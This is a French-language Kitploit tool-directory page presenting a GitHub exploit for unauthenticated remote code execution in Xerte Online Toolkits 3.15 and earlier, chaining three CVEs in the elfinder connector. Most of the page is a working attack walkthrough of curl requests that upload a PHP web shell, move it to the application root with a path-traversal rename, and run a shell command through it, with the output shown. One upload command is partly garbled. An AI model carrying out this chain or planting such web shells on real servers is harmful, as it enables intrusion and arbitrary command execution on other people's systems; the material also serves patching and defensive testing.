Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xerteonlinetoolkits-rce — Exploit non authentifié pour Xerte Online Toolkits. Nécessite de connaître un nom d'utilisateur valide. | Kitploit
Outils/GitHubGitHub/bootstrapbool/xerteonlinetoolkits-rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubbootstrapbool/xerteonlinetoolkits-rce

xerteonlinetoolkits-rce

Exploit non authentifié pour Xerte Online Toolkits. Nécessite de connaître un nom d'utilisateur valide.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 2 moisPas encore vérifié

Xerte Online Toolkits <= 3.15 Exécution de code à distance

Les versions 3.15 et antérieures de Xerte Online Toolkits présentent 3 vulnérabilités dans le composant /editor/elfinder/php/connector.php, qui peuvent être enchaînées par un attaquant non authentifié pour parvenir à une exécution de code à distance (RCE).

Versions affectées

Xerte Online Toolkits <= 3.15

Un correctif rétroporté a été appliqué aux versions 3.15, 3.14 et 3.13

CWE-306 : Authentification manquante pour une fonction critique - CVE-2026-34413

Les utilisateurs non authentifiés peuvent envoyer des requêtes au composant connecteur à /editor/elfinder/php/connector.php

Le code suivant est utilisé comme contrôle d'accès.

File: /editor/elfinder/php/connector.php Line Number: 35

root@kitploit:~
if (!isset($_SESSION['toolkits_logon_id'])){
    header("location: ../../../index.php");
}

Cela redirige les utilisateurs non authentifiés, les empêchant de recevoir la réponse des requêtes non authentifiées, mais cela ne termine pas la session et le code suivant est toujours exécuté.

CWE-23 : Traversée de chemin relative - CVE-2026-34414

*Nécessite que l'attaquant connaisse le nom du fichier qu'il souhaite déplacer

Les attaquants peuvent manipuler le paramètre "name" dans une requête "rename" vers le point de terminaison connector.php. Cela permet aux attaquants d'utiliser un répertoire existant pour déplacer des fichiers en dehors du répertoire média de l'utilisateur.

CWE-184 : Liste incomplète des entrées interdites - CVE-2026-34415

En raison d'une erreur dans l'expression régulière du filtre d'extension de fichier de connector.php, les attaquants peuvent enchaîner une vulnérabilité de traversée de chemin présente dans les mêmes versions de Xerte pour déplacer un fichier contenant du code PHP malveillant vers la racine de l'application avec une extension .php4.

File: /editor/elfinder/php/connector.php Line Number: 130

root@kitploit:~
array( // hide readmes
    'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
    'read'   => false,

L'expression régulière php* ne correspond qu'au caractère précédent. Par conséquent, elle correspondrait à "ph", "php", "phppp", etc...

Étapes de reproduction de la chaîne d'attaque

Exécution de code à distance non authentifiée

Si l'authentification est activée (ce qui n'est pas la configuration par défaut de Xerte), un attaquant doit connaître (ou forcer par brute-force) le nom d'utilisateur d'un utilisateur valide. Si l'authentification invité est utilisée (par défaut), le répertoire du projet cible serait simplement 1--Nottingham.

Un attaquant non authentifié peut créer un répertoire "example_dir" et téléverser un fichier "file.txt" avec du code PHP malveillant dans n'importe quel répertoire de projet sous USER-FILES/

Il peut ensuite utiliser les vulnérabilités de traversée de chemin relative et de liste incomplète des entrées interdites présentes dans Xerte pour effectuer une traversée de chemin en modifiant le nom du fichier téléversé en "example_dir/../../../../file.php4", déplaçant file.txt vers la racine de l'application sous le nom "file.php4", ce qui donne à l'attaquant une exécution de code à distance.

  1. Récupérer le chemin complet de la racine de l'application
root@kitploit:~
curl 'http://localhost/xt/setup'
  1. Créer le répertoire

Paramètres de la requête : uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL du répertoire du projet cmd: mkdir name: Le nom du nouveau répertoire target: L'identifiant elfinder du répertoire media/. Comme c'est la racine d'elfinder, ce sera toujours "l1_Lw"

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
  1. Téléverser un fichier php malveillant

*La balise
dans la charge utile empêche le filtre de type MIME d'elfinder de détecter le code PHP.

Paramètres de la requête : uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL du répertoire du projet cmd: upload target: L'identifiant elfinder du répertoire media/. Comme c'est la racine d'elfinder, ce sera toujours "l1_Lw" upload[]: Le fichier à téléverser.

root@kitploit:~
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
    -F 'cmd=upload' \
    -F 'target=l1_Lw' \
    -F "upload[][email protected];type=text/plain"
  1. Générer l'identifiant elfinder pour le nouveau fichier
root@kitploit:~
echo -n 'file.txt' | base64
ZmlsZS50eHQ=

Assurez-vous de supprimer le remplissage, dans ce cas c'est juste "="

Ajoutez l'identifiant du volume. Ce sera toujours "l1" (comme dans "/")

Résultat : l1_ZmlsZS50eHQ

  1. Renommer le fichier et effectuer une traversée de chemin relative

Paramètres de la requête : uploadDir: Racine de l'application + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL du répertoire du projet cmd: rename name: Le nom du répertoire, la séquence de traversée de chemin, et le nouveau nom de fichier avec l'extension .php4 target: L'identifiant elfinder que nous avons généré à partir du nouveau fichier l1_ZmlsZS50eHQ

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
  1. Vérifier l'exécution du code

Paramètres de la requête : cmd: La commande à exécuter

root@kitploit:~
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)
Télécharger l’outil